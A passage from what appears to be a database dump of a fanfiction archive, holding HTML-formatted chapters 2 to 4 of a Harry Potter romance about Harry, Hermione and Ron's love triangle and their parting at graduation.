by the one person it would hurt the most.</p><p>\n'),
	(273, 2, '\n<p>Chapter 2- One Witch.  Two Wizards.</p>\n<br>\n<p>&quot;I guess you two are celebrating the good news.&quot;</p>\n<br>\n<p>Ron\'s infuriated voice seethed, causing a shocked Harry and Hermione to pull break away from\ntheir kiss and face him, both at a loss of words to explain their compromising position.</p>\n<p style="margin-top: 0.0691667in">&nbsp;</p>\n<p>&quot;Ron, It\'s not what you think, really...&quot; Hermione muttered, desperately searching for a better\nexplanation, but her usual eloquence escaped her during this most delicate situation.</p>\n<p style="margin-top: 0.0691667in">&nbsp;</p>\n<p>But there were no words that could possibly explain what Ron had just witnessed. For neither\nHarry nor Hermione completely understood it themselves. Both were caught up in the moment,\ntheir moment. Part of them had felt the guilt that ultimately comes along with betraying a friend,\nbut another part of them could find no fault with the pure release of emotion that had occurred\njust a few short minutes ago. The last thing they had intended to do was hurt Ron, but\nunfortunately, fate had a different plan.</p>\n<p style="margin-top: 0.0691667in"><br>\n&nbsp;</p>\n<p style="margin-top: 0.0691667in">&quot;Not what I think?&quot; He asked as the anger in his voice elevated, &quot;Not what I think? How bloody\nnaive do you think I am, Hermione? I know I am not as clever as you, or Harry for that matter,\nbut I think it\'s quite obvious what was happening a minute ago.&quot;</p>\n<p style="margin-top: 0.0691667in">Turning towards Harry, he gave him a look of pure hatred.</p>\n<p style="margin-top: 0.0691667in">&quot;And you! Becoming Auror wasn\'t enough, was it?&quot; He asked contemptuously, &quot;You could have\nhad any witch in the whole damn school and you had to pick the one I\'d fallen for! Thanks a lot,\nold pal! Who am I to compete with the boyish charm of the infamous wizarding wonder that is\nHarry Potter?&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Auror? What do you mean, Auror?&quot; Harry questioned, paying no mind to Ron\'s harsh\ncomments.</p>\n<p style="margin-top: 0.0691667in">&quot;What? You mean Hermione didn\'t tell you?&quot; Sounding almost as surprised as Harry, &quot;I guess\nyour need to be together made it slip her mind while the foolish prat that I am waited anxiously\nin the common room to see how you\'d react to the news. I was so happy for my mate, Harry. How\ncould I have been so stupid? Seven years I\'ve spent with both of you and never *once* did it\ncross my mind that either of you was capable of stabbing me in the back. Guess I can\'t read\npeople as well as I thought.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;I\'m sorry, I forgot to give this to you.&quot; Hermione replied in a shaky voice as she extended her\ntrembling arm to Harry and handed him the letter she\'d been holding.</p>\n<p style="margin-top: 0.0691667in">&quot;Thank you.&quot; He nodded as he accepted the paper and turned back to Ron. &quot;I know this looks\nbad, but really, I can explain if you\'ll just let me.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;No, that isn\'t necessary, Harry.&quot; He sneered, &quot;Just bloody pretend I am not here. You both seem\nmuch better off without me anyway. Heck, you\'d probably still be playing tonsil quidditch if I\nhadn\'t *rudely* interrupted. Boy, am I glad to be getting out of here tomorrow. Now that I\'ve\nlearned such a valuable lesson, I won\'t trust as easily after Hogwarts!&quot;</p>\n<p style="margin-top: 0.0691667in">And with that he stormed off towards the castle as Hermione started after him.</p>\n<p style="margin-top: 0.0691667in">&quot;Harry. I have to find him.&quot; She whispered in between sobs as she turned back to face him one\nlast time.</p>\n<p style="margin-top: 0.0691667in">&quot;Go, Hermione.&quot; Harry nodded. &quot;I never meant to do this to you two. Blame me. I just wanted\none moment and I paid a terrible price for it. I am so sorry for this.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;No! Don\'t you dare say that! We\'re both at fault.&quot; She insisted, &quot;I wanted that kiss as much as\nyou did and now I will have to pay the consequences. I was selfish in wanting you both, and now\nI have to fix things and I will. I promise you I will.&quot;</p>\n<p style="margin-top: 0.0691667in">And then she disappeared into the night, leaving Harry to absorb all that had just happened. To\nabsorb all of the life altering events that had just taken place and to contemplate how things\nwould go from here, the good, the bad, and the future.</p>\n<p style="margin-top: 0.0691667in">*~*~*~*~*~*~*~*~*~*~*~*</p>\n<p style="margin-top: 0.0691667in">Dear Mr. Potter,</p>\n<p style="margin-top: 0.0691667in">It is with extreme honor that I inform you that the Ministry of Magic has selected you for its most\nprestigious Auror training program. Every year we select a Hogwarts graduate who exemplifies\nbravery, courage, loyalty, and complete devotion to defending good against evil in our ongoing\nbattle against dark magic. After discussing this thoroughly with Professor Dumbledore and\nreviewing your impressive record of success against battling the Dark Lord and his followers, I\nam most certain there is no one more qualified for this position. If you decide to accept this offer,\nplease owl back as soon as possible and further instructions will be given.</p>\n<p style="margin-top: 0.0691667in">Congratulations on your graduation, Harry. Whatever path you do decide to take, it is sure to lead\nyou to extraordinary things. After all, you are no ordinary Wizard.</p>\n<p style="margin-top: 0.0691667in">Best Wishes,</p>\n<p style="margin-top: 0.0691667in">Cornelius Fudge</p>\n<p style="margin-top: 0.0691667in">Minister of Magic</p>\n<p style="margin-top: 0.0691667in">This was the tenth time Harry had read the letter from the Ministry, and each time he went over it\nhe began to feel worse about the events that had occurred a few short hours ago with Hermione\nand Ron.</p>\n<p style="margin-top: 0.0691667in">Being selected as an auror was a dream come true. Nothing would make him happier than to rid\nthe world of dark magic, most especially Lord Voldemort, the evil wizard responsible for killing\nhis parents, Lily &amp; James. Aurors devoted their lives to finding the Dark Lord and his evil\nfollowers, the Death Eaters. Their goal was to ensure safety for the wizarding and muggle\nworlds. To be chosen for the program, was one of the greatest honors bestowed upon a wizard.\nHarry was flattered and excited, and at the same time extremely disappointed that this great\naccomplishment couldn\'t be shared with his two best friends.</p>\n<p style="margin-top: 0.0691667in">Sighing inwardly, he folded the letter and tucked it into his pocket as he made his way back\ntowards the castle for his last night at Hogwarts.</p>\n<p style="margin-top: 0.0691667in">*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n<p style="margin-top: 0.0691667in">&quot;Harry!&quot; Hermione\'s frantic voice called out to him as he entered the Gryffindor common room.\n&quot;We\'ve been waiting for you.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;We?&quot; Harry asked as he walked towards her and noticed Ron sitting in a chair beside the fire.</p>\n<p style="margin-top: 0.0691667in">&quot;Hermione has a plan.&quot; Ron spoke as he got up from his seat and walked across the room. &quot;I\nmight not agree with it, but knowing how right she usually is, it\'s probably best for all of us.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;It\'s nice to have you talking to me again.&quot; He said in a slightly happier tone than the one he had\nbeen using.</p>\n<p style="margin-top: 0.0691667in">&quot;You\'ll have to thank Hermione for that.&quot; He replied, nodding in her direction. &quot;She\'s the voice of\nreason. Made me realize how silly it would be to end seven years of friendship on a sour note.&quot;\nRon continued as he moved closer to Harry. &quot;We\'ve had a lot of great times here, and I don\'t want\nthings to end forever because of one mistake. Mates?&quot;</p>\n<p style="margin-top: 0.0691667in">Ron smiled, extending his hand towards Harry which he graciously accepted.</p>\n<p style="margin-top: 0.0691667in">&quot;Now that\'s better!&quot; Hermione beamed as happy tears streamed down her face, &quot;I can\'t imagine\nhow dismal graduation would have been with Harry Potter and Ron Weasley not on speaking\nterms.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;What about Hermione Granger?&quot; Harry asked, &quot;Last I checked, this duo was a trio.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Not after tomorrow we aren\'t.&quot; Hermione cried, her happy tears once again becoming sad.</p>\n<p style="margin-top: 0.0691667in">&quot;What are you talking about?&quot; Harry asked curiously. &quot;Are you going somewhere after\ngraduation?&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Her brilliant plan.&quot; Ron replied, rolling his eyes. &quot;Hermione, I still don\'t think it\'s necessary. I\nforgive you and Harry. It was a mistake, that\'s all.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;No, Ron.&quot; She shook her head as she continued to sob. &quot;What happened tonight wasn\'t a\nmistake, which is why I have to do what I am about to do. After graduation, I am going to stay\naway from both of you for the next five years.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;What?&quot; Harry exclaimed in complete shock, &quot;Hermione, that is crazy! For the last seven years\nwe\'ve all been inseparable! How is staying away from us going to solve a problem that doesn\'t\neven exist? It\'s ridiculous!&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;No, it isn\'t ridiculous, Harry. There *is* a problem.&quot; She wept, reaching to wipe the tears from\nher eyes. &quot;I love you both and both of you love me.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;You love him?&quot; Ron asked after realizing how serious this predicament had become.</p>\n<p style="margin-top: 0.0691667in">Hermione nodded.</p>\n<p style="margin-top: 0.0691667in">&quot;And do you love her?&quot; He questioned Harry who also responded with a nod of his head.</p>\n<p style="margin-top: 0.0691667in">&quot;Bloody hell.&quot; Was the only thing he could think to say in the midst of such emotional chaos</p>\n<p style="margin-top: 0.0691667in">&quot;I know this is a mess, and I am really sorry.&quot; Hermione sighed, &quot;Unfortunately, cleverness can\nonly take a witch so far. I wish there was a better answer than staying away from both of you, but\nI can\'t think of one. All I know is that if you love someone, you have to let them go. At the end of\nthe five years, one of you is going to come back to me or I am going to come back to one of you,\nI just know it. True love will wait forever, but infatuation will simply fade over time.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;She\'s right you know.&quot; Harry begrudgingly agreed. &quot;As hard as life is going to be without you,\nit\'d be harder for the three of us to live in awkwardness for the next five years.&quot; He sighed as he\nturned to face Hermione, &quot;It\'s going to kill me not to see you every day, but I know you and I\nknow you have impeccable judgment. There\'s no doubt in my mind things will work out in the\nend.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Thank you, Harry.&quot; Hermione smiled at him. &quot;How about you Ron?&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Bloody Hell.&quot; He shrugged, &quot;I guess I don\'t really have a choice, but if it makes you happy, than\nso be it.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;This decision makes me many things, Ron.&quot; Hermione said softly, &quot;but happy is definitely not\none of them. However, I know in my heart it\'s for the best.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;It\'s a good heart, too.&quot; Harry exclaimed. &quot;It\'s going to make the right decision.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Absolutely.&quot; Ron nodded as they both smiled at her lovingly and the three embraced each other\ntightly knowing it was going to be one of their last great memories together for quite some time.</p>\n<p style="margin-top: 0.0691667in">&quot;Well then, now that we\'ve settled that, I think we should get to bed.&quot; Hermione suggested as she\nmade her way towards the stairs. &quot;After all, tomorrow is a long day.&quot;</p>\n<p style="margin-top: 0.0691667in">&quot;Yea,&quot; Harry thought to himself as he started up the stairs with Ron close behind, &quot;but an even\nlonger five years.&quot;</p>\n\n\n\n'),
	(273, 3, '\n<p>Chapter 3- Pomp, Circumstance, and The Parting of Ways</p>\n<br>\n<p>&quot;Harry Potter must wake up, Harry Potter must wake up!&quot;  </p>\n<br>\n<p>A familiarly annoying voiced called through the dark bedroom as Harry reached for his\nglasses that were placed on the nightstand and rubbed the sleep from his eyes.</p>\n<br>\n<p>&quot;Dobby?&quot;  He mumbled sitting up and looking at the clock.  Five o\'clock.  Four hours\nbefore the graduation was set to begin.  </p>\n<br>\n<p>&quot;Harry Potter must follow Dobby, sir.  Professor Dumbledore is waiting.  Please hurry, \nSir.  He wishes to see you immediately.&quot;  Dobby insisted as he hopped on the bed and\nbegan pulling the covers off of him.</p>\n<br>\n<p>&quot;All right, all right!&quot;  He exclaimed, reluctantly getting up and following the eager House\nElf from the dormotories, &quot;but would you please stop shouting, Dobby!  Just because I will\nhave to attend graduation looking like a Zombie doesn\'t mean the rest of the Bloody house\nshould have to lose sleep!&quot;</p>\n<br>\n<p>With that, the young wizard and the eager to please House Elf made their way through the\nportrait whole towards the awaiting Headmaster.</p>\n<br>\n<p>*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n<br>\n<p>&quot;Well done, Dobby!&quot;  A most jovial Dumbledore beamed as the two of them entered his\noffice.  &quot;You may go now.  Thank you for your help.&quot;</p>\n<br>\n<p>Dobby smiled and bowed then snapped his fingers, vanishing out of sight.</p>\n<br>\n<p>&quot;Sit down please, Harry.&quot;  Dumbledore said as he motioned to the chair placed in front of\nhis desk as he took a seat behind it.  &quot;I hate to wake you so early on a most important day,\nbut there is one last thing I have to do before you leave Hogwarts.&quot;</p>\n<br>\n<p>&quot;That\'s okay, Professor.&quot;  He responded with a yawn, &quot;I\'d just nodded off not long before\nDobby popped up.  Haven\'t been able to sleep much tonight.&quot;</p>\n<br>\n<p>&quot;Ahhh, that\'s understandable.&quot;  He replied, &quot;You\'re leaving behind Hogwarts and\nheading out into the wizarding world.  The unknown is always a frightening prospect, but\nthere is no doubt in my mind that you will conquer whatever obstacles may cross your path\nand that you will make a most impressive auror after you\'ve completed the extensive\ntraining program with Professor Moody and his colleagues.  That is of course if you\'ve\ndecided to accept the offer from the Ministry?&quot;</p>\n<br>\n<p>&quot;Oh yes, Sir.  Definitely.&quot;  Harry responded with assurance as he fidgeted around in his\nseat, unable to get comfortable.  &quot;I am honored to have been selected to join the crusade\nagainst dark magic.  I hope to one day rid the world of the Lord Voldemort and his\nfollowers once and for all.&quot;</p>\n<br>\n<p>&quot;Splendid!&quot;  Dumbledore grinned proudly, &quot;I know you will do well, Harry, as you always\ndo when you are put to the ultimate test.  I see a successful future for you, as well as for Mr.\nWeasley, and of course, Ms. Granger, our new Arithmancy Professor.&quot;</p>\n<br>\n<p>&quot;Hermione is going to be Professor of Arithmancy?&quot;  He asked surprised.</p>\n<br>\n<p>&quot;Yes, I informed her just last night.&quot;  He said, equally shocked that Harry didn\'t know. \n&quot;Professor Vector will be retiring, and I know how much she loves the subject and how it\ncomes so naturally to her.  We were a little hesitant considering she\'s just going to be\nturning 18, but given the fact that she had a 584 overall average, we were willing to make\nan exception.  She\'s ecstatic about it, but I can\'t believe she hadn\'t mentioned it to you.  Is\nsomething wrong?&quot;</p>\n<br>\n<p>&quot;It\'s a long story.&quot;  Harry answered sadly.</p>\n<br>\n<p>&quot;Excellent!&quot; He clapped with excitement, &quot;I love a long story!  Why don\'t you tell me what\nhappened, Harry.  Perhaps I can offer a few words of wisdom, or at the very least, have the\nbest new bit of gossip at breakfast.&quot;</p>\n<br>\n<p>Harry couldn\'t help but laugh.  Dumbledore always seemed to be there after he\'d faced a\nchallenge and always offered insight as well as humor to make the situation better.  With a\ndeep breath, Harry informed him of all the events that had occurred on the Quidditch\nField and in the Common Room last night.  He told him everything from the kiss to the\npact, and when he finished, he\'d felt as though a ton of bricks had been lifted from his\nshoulders.</p>\n<br>\n<p>&quot;Tackling a Mountain Troll and a Basilisk doesn\'t seem quite so difficult now that you\'re\nin the middle of a  love triangle?&quot; Dumbledore chuckled. </p>\n<br>\n<p>&quot;At this point, I\'d prefer either one.&quot;  Harry muttered unenthusiastically.</p>\n<br>\n<p>&quot;Well, Harry, I had a feeling it might come to this one day.  The three of you have known\neach other long before romantic feelings had entered the picture. It\'s only natural that once\npuberty kicks in, things get...complicated.&quot;</p>\n<br>\n<p>&quot;And how..&quot;  Harry sighed, slumping back down in his chair.</p>\n<br>\n<p>&quot;I know things seem bleak now, Harry.&quot;  Dumbledore said in a reassuring tone, &quot;But keep\nin mind that there are times in our lives when we must make sacrifices and decisions that\nmay not seem wise in the beginning, but will work out for the best in the long run.  I\'ve\nknown all of you for seven years.  I\'ve seen you learn, I\'ve seen you conquer, and I\'ve seen\nyou grow.  All of you are mere shadows of the young first years who walked through those\ndoors.  You\'ve all evolved and matured and are ready to face anything that comes your\nway.  Consider this pact the first of many crossroads in your life.&quot;</p>\n<br>\n<p>Reaching under his desk, he pulled up a large gift box and handed it to Harry smiling.  </p>\n<br>\n<p>&quot;So what if the Tenacious Trio will be parting ways for awhile?  When things get rough\nover the next five years, you will have your memories for comfort, and that brings me to\nthe reason I had Dobby bring you here.&quot;</p>\n<br>\n<p>Smiling graciously, Harry accepted the box from Dumbledore and proceeded to open it.  </p>\n<br>\n<p>&quot;Professor!&quot;  Harry gasped in amazement as he removed the contents from the box, &quot;A\npensieve!   Thank  you so much!  This is incredible!&quot;</p>\n<br>\n<p>&quot;You\'re very welcome, Harry.&quot;  Dumbledore smiled, &quot;I remember fourth year when you\nstumbled upon my pensieve.  I figured it would be the best graduation gift for you,\nespecially given your current situation.  Wonderful invention, the pensieve. You\'ll be able\nto reflect on the good memories when the bad ones become too much to bear.&quot;</p>\n<br>\n<p>&quot;Thank you, Professor.&quot;  Harry replied in a somber tone.  &quot;I can\'t tell you how much your\ninsight has meant to me over the last seven years.  I am lucky to have spent my time at\nHogwarts with you as Headmaster.  I\'m certain many of the first memories that I put into\nthis pensieve will be of our enligtening conversations.&quot;   </p>\n<br>\n<p>&quot;Believe me, the pleasure has been mine.&quot;  Dumbledore answered modestly.  &quot;It isn\'t\neveryday that a young wizard comes to Hogwarts as a celebrity and leaves a legend.  I saw\npotential from the day you were sorted, and I was not disappointed at all.  You are going to\ngo on to many exciting and dangerous events, but I know you are ready.  There is a reason\nthat you were the Boy Who Lived.  You were destined for extraordinary things, Harry, and\nI know you then when you are put to the ultimate tests in the wizarding world, you won\'t\nlet us down.&quot;  </p>\n<br>\n<p>&quot;Eztraordinary.&quot;  Harry repeated with a chuckle.  &quot;I\'ve heard that word a lot recently.&quot;</p>\n<br>\n<p>&quot;And I am certain you will hear it many more times.&quot;  Dumbledore replied as he glanced\nover at the clock on his desk.  &quot;Oh Dear!  Look at that, six-thirty. I am sorry to have kept\nyou so long, Harry.  I know you have a big day ahead of you.&quot;</p>\n<br>\n<p>&quot;It\'s just the beginning, Professor.  Graduation will be a cakewalk compared to spending\nthe next five years away from Hermione.&quot;  </p>\n<br>\n<p>&quot;Have faith, Harry.&quot;  Dumbledore answered in a voice full of confidence. &quot;Things usually\nhave a funny way of working out in the end.  But I think that\'s something you\'ve\nexperienced numerous times over years here at Hogwarts.&quot;</p>\n<br>\n<p>Harry smiled at the eccentric, elderly man as he recalled the worst of times during his\nschooling and how, in the end, things did seem to fall into place.</p>\n<br>\n<p>&quot;Thank you, Professor.  I will see you at graduation.&quot;</p>\n<br>\n<p>&quot;So long, Harry!  Don\'t be a stranger!&quot;  Dumbledore called out as the young wizard was\nmaking his way down the stairs.  &quot;Just because you\'ve made a pact to keep from Hermione\nfor the next five years doesn\'t mean you have to stay away from the rest of us!&quot;</p>\n<br>\n<p>*~*~*~*~*~*~*~*~*~*~*~*~*~ </p>\n<br>\n<p>The next few hours flew by for Harry and before it knew it, the graduation ceremony had\ncome to an end.  Dumbledore had given an excellent and inspiring speech which beautifully\nsummed up everything that had taken place and how all of the graduates had grown over\nthe last seven years.  When he finished, the Official Witchcraft &amp; Wizardry certificates\nwere presented and then it was off to Great Hall for one last feast and one last chance to see\nHermione before they parted ways.  </p>\n<br>\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n<br>\n<p>&quot;Well done, Harry!&quot;  Sirius Black\'s proud voice echoed as he ran to greet his Godson after\neveryone was settled in the Great Hall.  &quot;Your Mum and Dad would be proud.&quot;</p>\n<br>\n<p>Harry smiled as he embraced his beloved Godfather.  It had been two years since his name\nwas cleared in the murder of Harry\'s parents, Lily &amp; James.  The Ministry of Magic\nstumbled across Peter Pettigrew, the real person responsible helping Lord Voldemort\nmurder the Potter\'s, while he was trying to lure several young wizards to the dark side. \nSince then, Harry had left the Dursley\'s to live with Sirius and he\'d never been happier.</p>\n<br>\n<p>&quot;Thanks, Sirius.  I am just glad you\'re free so I had you here with me today.  It made it\neven better.&quot;</p>\n<br>\n<p>&quot;Harry, if I had to transfigure into Padfoot and hide under Hagrid\'s coat, *nothing* would\nhave stopped me from seeing you graduate an official Wizard.  You\'ve grown into a fine\nyoung man, and I\'m so pleased that I\'ve gotten to see it happen right before my very eyes.&quot;</p>\n<br>\n<p>&quot;\'ll right if I add to the \'praisin then?&quot;  Hagrid\'s rugged voice echoed as Sirius and Harry\nturned to face the gentle Giant standing behind them with a tearstained face.  &quot;You did a\nfine job, up \'ere, \'Arry.   Can\'t believe seven years \'ave gone so fast.  \'Yer gonna make a\nfine wizard out there, \'Arry, always knew ya would, but I sure am gonna miss ya.&quot; </p>\n<br>\n<p>&quot;I\'ll miss you, too, Hagrid.&quot;  He said with a warm smile as he gave him a loving hug,  &quot;But\ndon\'t cry, please.  I\'ll always be in touch.&quot;</p>\n<br>\n<p>&quot;Yer mean it?&quot;  Hagrid asked with hope as he pulled out a tissue and blew his nose rather\nloudly, drawing the attention of several Ravenclaw graduates and their families.  &quot;Ya\naren\'t gonna forget about me when ya go off to study as an Auror, are ya?  </p>\n<br>\n<p>Harry smiled.  &quot;Hagrid, I assure you that you\'re one person I could *never* forget.&quot;</p>\n<br>\n<p>*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n<br>\n<p>Harry spent the next hour or so being congratulated by his friends and Professors,\nincluding Professor Lupin who\'d come back especially for the occasion, but the whole time\nhis mind was set on one thing:  Saying goodbye to Hermione.</p>\n<br>\n<p>&quot;Harry!&quot;  Ron\'s voice called out as he ran to his friend.  &quot;I\'ve been lookin\' all over for you. \nHermione wants to see you.  She\'s waiting in the library.&quot;</p>\n<br>\n<p>&quot;The library?  Why on earth does she want to see me there?&quot;  He asked with a puzzled\nlook.</p>\n<br>\n<p>&quot;Harry, this is *Hermione* we\'re talking about,&quot; Ron answered with a grin, &quot;if she is\naway from books for too long, I think she starts breaking out in hives!  Seriously, mate. \nShe wants to talk to you without interruption.  Since *she* is the only one who\'d be in a\nlibrary when everyone else is partying, she decided it would be the best place to go.&quot;</p>\n<br>\n<p>&quot;You\'ve already seen her then?&quot;  Harry asked as he watched the lighthearted expression\non Ron\'s face suddenly turn to a saddened one.</p>\n<br>\n<p>&quot;Yea, it\'s why I\'m trying to joke about it.&quot;  He sighed,  &quot;Can\'t believe I won\'t have her to\npick on for five years.&quot;</p>\n<br>\n<p>&quot;I know.&quot;  Harry nodded, &quot;I can\'t imagine it, either.   But hey, I\'ll still see you, right?&quot;</p>\n<br>\n<p>&quot;Definitely.  In fact, I think you and I should have a talk soon..&quot;</p>\n<br>\n<p>&quot;All right then.  I think that would be good for both of us. &quot;  Harry replied and then\nturned towards the exit of the hallway.  &quot;I guess I better get a move on, then.  I\'ve probably\ngot about five minutes to say everything I won\'t be able to for the next five years.&quot;</p>\n<br>\n<p>*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n<br>\n<p>&quot;I thought you\'d chickened out on me.&quot; Hermione smiled through her tears as she watched\nHarry enter the library and head towards the table where she was sitting.</p>\n<br>\n<p>&quot;Never.&quot;  He shook his head as he took the seat in front of her and watched as she bit down\non her quivering lip, trying desperately not to break down.  &quot;I just walked slowly because I\nwas thinking of what to say to sum up all that we\'ve shared in such a short amount of\ntime.&quot;</p>\n<br>\n<p>&quot;I ran into the same problem last night.&quot;  Hermione wept as she slid an envelope across the\ntable, &quot;Which is why I wrote you this letter.  I know if I try and say everything I will lose it\nand may not be able to go through with this, so I figured writing would be the best\nalternative.&quot;</p>\n<br>\n<p>&quot;Books and cleverness.&quot;  Harry grinned through his sadness as he picked up the letter and\ntucked it away in his robes.  &quot;Always have that mind working, Granger.&quot;</p>\n<br>\n<p>&quot;Books and cleverness are minimal qualities when compared to the capacity for friendship\nand bravery you posess, Potter.  Or should I say, Auror?&quot;</p>\n<br>\n<p>&quot;Spoken like a true Professor.&quot;  Harry chuckled, &quot;The scholars of arithmancy will be most\nfortunate to have you as there instructor,  just as I have been most fortunate to have you as\na friend.&quot; </p>\n<br>\n<p>&quot;Oh Harry,&quot; she sobbed, the tears flowing freely down her face.  &quot;When you say those\nthings it makes this so much harder..&quot;</p>\n<br>\n<p>&quot;I\'m sorry,&quot; He said as his own voice began to crack.  &quot;I don\'t want to hurt you anymore\nthan I have, Hermione.  I adore you and as hard as this is going to be, I know everything\nwill work out the way that it should.  There\'s just one promise I want you to make.&quot;</p>\n<br>\n<p>&quot;Anything.&quot;  She sniffled as she wiped her face.</p>\n<br>\n<p>&quot;No matter who you choose, we will always be friends.&quot;</p>\n<br>\n<p>She smiled at him lovingly.  &quot;Deal.&quot;</p>\n<br>\n<p>&quot;All right then.&quot;  He said as he got up from his seat.  &quot;I guess it\'s time.  The longer we wait,\nthe harder it\'s going to be.&quot;</p>\n<br>\n<p>She nodded in agreement as they both got up from their seats and walked towards each\nother.</p>\n<br>\n<p>&quot;Good-&quot; Harry began but she silenced him with a finger to his lips.</p>\n<br>\n<p>&quot;See you later.  Don\'t say good-bye.  It\'s too final.&quot;</p>\n<br>\n<p>He nodded, &quot;I\'ll see you later, Hermione.  But remember if anything happens and you ever\nneed me or anything, I\'m just an owl away.&quot;</p>\n<br>\n<p>&quot;I know that.  I\'m keeping that in mind to help get me through this.&quot; She sobbed, throwing\nher arms around his neck and embracing him tightly.  &quot;Harry, please be careful.&quot;</p>\n<br>\n<p>&quot;I will.&quot;  He assured her, &quot;And you just make me proud by helping to mold the brilliant\nwizarding minds with your keen knowledge of Arithmancy?&quot;</p>\n<br>\n<p>&quot;Have I ever let you down before?&quot;  She said with a laugh as she pulled away to look at\nhim.</p>\n<br>\n<p>&quot;Never.&quot; </p>\n<br>\n<p>He replied as he inched his face closer to hers and ran a hand through her silky hair.  She\nsighed at the feel of his touch to her skin and trembled as he placed his lips to hers in a\ngentle, tender kiss.  </p>\n<br>\n<p>&quot;I love you.&quot;</p>\n<br>\n<p>&quot;I love you, too.&quot;  She whispered back as she gave him one last look, her face once again\nstained with tears.</p>\n<br>\n<p>He stared at her for a moment, wanting to remember her just like this.    She was a vision. \nAn Angel.  At that moment he silently thanked Dumbledore for his gift and decided this\nwould be a perfect first memory to store in his pensieve.  One that would help him through\nthe next five years without her.</p>\n<br>\n<p>*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n<br>\n<p>My Dearest Harry,</p>\n<br>\n<p>I\'ve spent the last few hours in silent reverie trying to find the right words to describe what\nI am feeling right now.  It\'s now two in the morning and I\'m only on my second sentence.  \nThat should give you an idea as to how difficult this decision has been for me.</p>\n<br>\n<p>I\'ve spent the last seven years of my life as a best friend to the two most amazing men I\nhave ever known.  You and Ron.  Both of you have helped me grow as a person, and I\nwould like to think that I in return, helped you two to grow as well.  Before Hogwarts, my\nlife was studying (Hard to imagine, isn\'t it?).  I was a muggle born witch who was treated\nhorribly by my peers for being &quot;different&quot;.  It was because of that I shut the world out and\nburied myself in books.  Then, lo and behold, I was accepted to the most presitigous school\nof Witchcraft and Wizardry in the world, and it was there that I met you two and my life\nhasn\'t been the same since.  </p>\n<br>\n<p>After getting acquainted with you both, I managed to come out of my shell, so to speak.  I\nput the books down (even if it wasn\'t very often), broke a few rules, and had the time of my\nlife.  If I could go back, there isn\'t one second of it all that I would change because I\'ve\nnever been happier than I was when I was with the two of you.  Each of you has a unique\npersonality, but both of you are young man of extraordinary character and courage, and\nI\'ve been blessed to watch the both of you excel as wizards and evolve as people.</p>\n<br>\n<p>It took Ron four years to notice I was a girl and five years to grow out of his jealous stage. \nI remember a time when he wouldn\'t talk to you because you were named one of the School\nChampions and just last night he forgave us both for our betrayal.  It\'s astonishing to think\nabout how much he\'s changed, and at the same time, manage to keep his wit and charm.  I\nlove him inspite of his faults and I love him because he always knows how to make me\nlaugh.</p>\n<br>\n<p>And then there is you, Harry Potter.  The Boy Who Lived.  The Wizarding Wonder before\nhe even knew he was a wizard.  I remember when we first started school and I knew more\nabout your life than you did (Now that I think about it, it was kind of scary on my part,\nwasn\'t it?), and look at you now.  You\'ve found yourself.  You\'ve lived up to the legacy and\nyou should be proud.  Your courage and loyalty is an inspiration to us all.  Your pure heart\nand unselfish love is going to guide you to greatness as an auror because you are great in all\nthat you do.  You are my hero.  When the laughter stops and the obstacles appear, you are\nthe one who steps up to conquer them for the rest of us.  When the smiles fade and the tears\nbegin to fall, you\'re the one who comforts me and makes me feel as though everything is\ngoing to be all right.  It is for all these reasons that I love you.  Not because you are The Boy\nWho Lived, but because you are who you are and fame and glory hasn\'t changed that at\nall.</p>\n<br>\n<p>It\'s three in the morning now and this letter contains many more feelings than it did an\nhour ago, but it still doesn\'t seem to say nearly enough.  However, if I keep writing, I still\nwon\'t be done when the five years is up, so I am calling it a night (morning rather).</p>\n<br>\n<p>Good luck to you, Harry.  I know that there is still much more of your story to be told, I\njust hope I won\'t miss out on too much of it.</p>\n<br>\n<p>Love always,</p>\n<p>Hermione</p>\n<br>\n<p>P.S.-  I was right when I said books and cleverness aren\'t that important.  They aren\'t\nworth a damn when it comes to matters of the heart.</p>\n<br>\n<p>*********************</p>\n<br>\n<p>Harry tucked the letter in his pocket after reading it for the tenth and gazed out of his\nbedroom window and on to the night sky.  It had been such a long day, but nothing\ncompared to the long seperation from Hermione.   With a sigh he removed his glasses and\nlaid back on the bed.  At that very moment, the clock struck midnight.</p>\n<br>\n<p>One day down, 1,824 more to go. </p>\n\n\n\n'),
	(273, 4, '\n<p style="margin-bottom: 0.0691667in; margin-top: 0.0691667in">Author&#8217;s Note: I know there isn&#8217;t much H&amp;H in this Chapter, but I promise it is\ncoming!  Please be patient with me :)</p>\n<p style="margin-bottom: 0.0691667in; margin-bottom: 0.0691667in">&nbsp;</p>\n<p style="margin-bottom: 0.0691667in">Chapter 4- Operation Sun &amp; Moon</p>\n<p style="margin-bottom: 0.0691667in; margin-bottom: 0.0691667in">&nbsp;</p>\n<p style="margin-bottom: 0.0691667in">The early summer winds swept quietly through the early morning Hogsmeade air.\nIt had been 319 hours, 40 minutes, and 27 seconds since the last day Harry had\nseen Hermione. Not that he was counting or anything.<br>\n<br>\nHarry entered the Three Broomsticks to find it almost empty except for a few\nstragglers seated at the bar, chatting with the owner, Madam Rosmerta, who\nhappened to be dating Harry\'s Godfather, Sirius Black.<br>\n<br>\n&quot;Harry!&quot; Her bright smile greeted him as she looked up from her conversation with\nthe patrons and motioned him over to the bar. &quot;What brings you here so 